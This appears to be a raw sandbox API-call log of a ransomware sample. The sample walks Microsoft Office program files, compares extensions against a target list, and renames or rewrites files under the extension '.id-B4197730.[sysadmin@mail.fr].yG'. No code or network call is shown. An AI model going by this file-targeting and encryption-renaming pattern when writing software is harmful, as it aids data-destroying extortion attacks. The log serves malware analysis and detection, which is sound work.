	[0149.474] lstrlenW (lpString=".pdf") returned 4
	[0149.474] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0149.474] lstrlenW (lpString=".xls") returned 4
	[0149.474] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0149.474] lstrlenW (lpString=".xlsx") returned 5
	[0149.474] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0149.474] lstrlenW (lpString=".ppt") returned 4
	[0149.474] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0149.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0149.474] lstrlenW (lpString=".zip") returned 4
	[0149.474] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0149.474] lstrlenW (lpString=".rar") returned 4
	[0149.474] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0149.474] lstrlenW (lpString=".bz2") returned 4
	[0149.474] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0149.474] lstrlenW (lpString=".7z") returned 3
	[0149.474] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0149.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0149.474] lstrlenW (lpString=".dbf") returned 4
	[0149.474] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0149.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0149.474] lstrlenW (lpString=".1cd") returned 4
	[0149.474] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0149.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0149.474] lstrlenW (lpString=".jpg") returned 4
	[0149.475] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0149.475] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0149.475] lstrlenW (lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39
	[0149.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0149.476] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=21184) returned 1
	[0149.476] CloseHandle (hObject=0x520) returned 1
	[0149.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x220
	[0149.476] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0149.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0149.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0149.477] lstrlenW (lpString=".doc") returned 4
	[0149.477] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0149.477] lstrlenW (lpString=".docx") returned 5
	[0149.477] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0149.477] lstrlenW (lpString=".pdf") returned 4
	[0149.477] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0149.477] lstrlenW (lpString=".xls") returned 4
	[0149.477] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0149.477] lstrlenW (lpString=".xlsx") returned 5
	[0149.477] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0149.477] lstrlenW (lpString=".ppt") returned 4
	[0149.477] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0149.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0149.477] lstrlenW (lpString=".zip") returned 4
	[0149.477] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0149.477] lstrlenW (lpString=".rar") returned 4
	[0149.477] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0149.477] lstrlenW (lpString=".bz2") returned 4
	[0149.477] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0149.477] lstrlenW (lpString=".7z") returned 3
	[0149.477] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0149.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0149.477] lstrlenW (lpString=".dbf") returned 4
	[0149.477] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0149.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0149.477] lstrlenW (lpString=".1cd") returned 4
	[0149.477] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0149.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0149.478] lstrlenW (lpString=".jpg") returned 4
	[0149.478] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0149.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0149.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0149.478] lstrlenW (lpString=".doc") returned 4
	[0149.478] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0149.478] lstrlenW (lpString=".docx") returned 5
	[0149.478] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0149.478] lstrlenW (lpString=".pdf") returned 4
	[0149.478] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0149.478] lstrlenW (lpString=".xls") returned 4
	[0149.478] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0149.478] lstrlenW (lpString=".xlsx") returned 5
	[0149.478] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0149.478] lstrlenW (lpString=".ppt") returned 4
	[0149.478] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0149.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0149.478] lstrlenW (lpString=".zip") returned 4
	[0149.478] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0149.478] lstrlenW (lpString=".rar") returned 4
	[0149.478] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0149.478] lstrlenW (lpString=".bz2") returned 4
	[0149.478] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0149.478] lstrlenW (lpString=".7z") returned 3
	[0149.478] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0149.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0149.479] lstrlenW (lpString=".dbf") returned 4
	[0149.479] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0149.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0149.479] lstrlenW (lpString=".1cd") returned 4
	[0149.479] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0149.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0149.479] lstrlenW (lpString=".jpg") returned 4
	[0149.479] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0149.479] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0149.479] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41
	[0149.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0149.480] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=19136) returned 1
	[0149.480] CloseHandle (hObject=0x520) returned 1
	[0149.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x220
	[0149.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0149.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0149.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0149.481] lstrlenW (lpString=".doc") returned 4
	[0149.481] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0149.481] lstrlenW (lpString=".docx") returned 5
	[0149.481] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0149.481] lstrlenW (lpString=".pdf") returned 4
	[0149.481] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0149.481] lstrlenW (lpString=".xls") returned 4
	[0149.481] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0149.481] lstrlenW (lpString=".xlsx") returned 5
	[0149.481] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0149.482] lstrlenW (lpString=".ppt") returned 4
	[0149.482] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0149.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0149.482] lstrlenW (lpString=".zip") returned 4
	[0149.482] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0149.482] lstrlenW (lpString=".rar") returned 4
	[0149.482] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0149.482] lstrlenW (lpString=".bz2") returned 4
	[0149.482] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0149.482] lstrlenW (lpString=".7z") returned 3
	[0149.482] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0149.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0149.482] lstrlenW (lpString=".dbf") returned 4
	[0149.482] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0149.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0149.482] lstrlenW (lpString=".1cd") returned 4
	[0149.482] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0149.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0149.482] lstrlenW (lpString=".jpg") returned 4
	[0149.482] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0149.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0149.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0149.482] lstrlenW (lpString=".doc") returned 4
	[0149.482] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0149.483] lstrlenW (lpString=".docx") returned 5
	[0149.483] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0149.483] lstrlenW (lpString=".pdf") returned 4
	[0149.483] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0149.483] lstrlenW (lpString=".xls") returned 4
	[0149.483] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0149.483] lstrlenW (lpString=".xlsx") returned 5
	[0149.483] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0149.483] lstrlenW (lpString=".ppt") returned 4
	[0149.483] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0149.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0149.483] lstrlenW (lpString=".zip") returned 4
	[0149.483] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0149.483] lstrlenW (lpString=".rar") returned 4
	[0149.483] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0149.483] lstrlenW (lpString=".bz2") returned 4
	[0149.483] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0149.483] lstrlenW (lpString=".7z") returned 3
	[0149.483] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0149.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0149.483] lstrlenW (lpString=".dbf") returned 4
	[0149.483] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0149.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0149.483] lstrlenW (lpString=".1cd") returned 4
	[0149.483] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0149.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0149.483] lstrlenW (lpString=".jpg") returned 4
	[0149.483] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0149.484] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0149.484] lstrlenW (lpString="api-ms-win-core-synch-l1-2-0.dll") returned 32
	[0149.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0149.485] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=19136) returned 1
	[0149.485] CloseHandle (hObject=0x520) returned 1
	[0149.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x220
	[0149.485] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0149.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0149.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0149.486] lstrlenW (lpString=".doc") returned 4
	[0149.486] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0149.486] lstrlenW (lpString=".docx") returned 5
	[0149.486] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0149.486] lstrlenW (lpString=".pdf") returned 4
	[0149.486] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0149.486] lstrlenW (lpString=".xls") returned 4
	[0149.486] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0149.486] lstrlenW (lpString=".xlsx") returned 5
	[0149.486] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0149.486] lstrlenW (lpString=".ppt") returned 4
	[0149.486] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0149.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0149.486] lstrlenW (lpString=".zip") returned 4
	[0149.486] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0149.486] lstrlenW (lpString=".rar") returned 4
	[0149.486] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0149.486] lstrlenW (lpString=".bz2") returned 4
	[0149.486] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0149.486] lstrlenW (lpString=".7z") returned 3
	[0149.486] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0149.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0149.486] lstrlenW (lpString=".dbf") returned 4
	[0149.486] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0149.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0149.486] lstrlenW (lpString=".1cd") returned 4
	[0149.486] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0149.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0149.486] lstrlenW (lpString=".jpg") returned 4
	[0149.487] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0149.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0149.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0149.487] lstrlenW (lpString=".doc") returned 4
	[0149.487] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0149.487] lstrlenW (lpString=".docx") returned 5
	[0149.487] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0149.487] lstrlenW (lpString=".pdf") returned 4
	[0149.487] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0149.487] lstrlenW (lpString=".xls") returned 4
	[0149.487] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0149.487] lstrlenW (lpString=".xlsx") returned 5
	[0149.487] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0149.487] lstrlenW (lpString=".ppt") returned 4
	[0149.487] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0149.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0149.487] lstrlenW (lpString=".zip") returned 4
	[0149.487] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0149.487] lstrlenW (lpString=".rar") returned 4
	[0149.487] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0149.487] lstrlenW (lpString=".bz2") returned 4
	[0149.487] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0149.487] lstrlenW (lpString=".7z") returned 3
	[0149.487] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0149.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0149.487] lstrlenW (lpString=".dbf") returned 4
	[0149.487] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0149.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0149.488] lstrlenW (lpString=".1cd") returned 4
	[0149.488] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0149.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0149.488] lstrlenW (lpString=".jpg") returned 4
	[0149.488] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0149.488] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0149.488] lstrlenW (lpString="api-ms-win-core-timezone-l1-1-0.dll") returned 35
	[0149.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0149.542] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3cbff14 | out: lpFileSize=0x3cbff14*=18624) returned 1
	[0149.542] CloseHandle (hObject=0x544) returned 1
	[0149.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x220
	[0149.766] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0149.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81
	[0149.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81
	[0149.766] lstrlenW (lpString=".doc") returned 4
	[0149.766] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0149.766] lstrlenW (lpString=".docx") returned 5
	[0149.766] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0149.766] lstrlenW (lpString=".pdf") returned 4
	[0149.766] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0149.766] lstrlenW (lpString=".xls") returned 4
	[0149.766] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0149.766] lstrlenW (lpString=".xlsx") returned 5
	[0149.766] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0149.766] lstrlenW (lpString=".ppt") returned 4
	[0149.766] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0149.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81
	[0149.766] lstrlenW (lpString=".zip") returned 4
	[0149.767] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0149.767] lstrlenW (lpString=".rar") returned 4
	[0149.767] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0149.767] lstrlenW (lpString=".bz2") returned 4
	[0149.767] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0149.767] lstrlenW (lpString=".7z") returned 3
	[0149.767] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0149.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81
	[0149.767] lstrlenW (lpString=".dbf") returned 4
	[0149.767] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0149.795] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0149.798] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0150.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0150.092] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.092] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cbfec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BABY_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\baby_01.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0150.093] GetLastError () returned 0x0
	[0150.093] ReadFile (in: hFile=0x52c, lpBuffer=0x41de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cbfecc, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesRead=0x3cbfecc*=0x1cd8, lpOverlapped=0x0) returned 1
	[0150.112] WriteFile (in: hFile=0x554, lpBuffer=0x41de020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x3cbfc94, lpOverlapped=0x0 | out: lpBuffer=0x41de020*, lpNumberOfBytesWritten=0x3cbfc94*=0x1ce0, lpOverlapped=0x0) returned 1
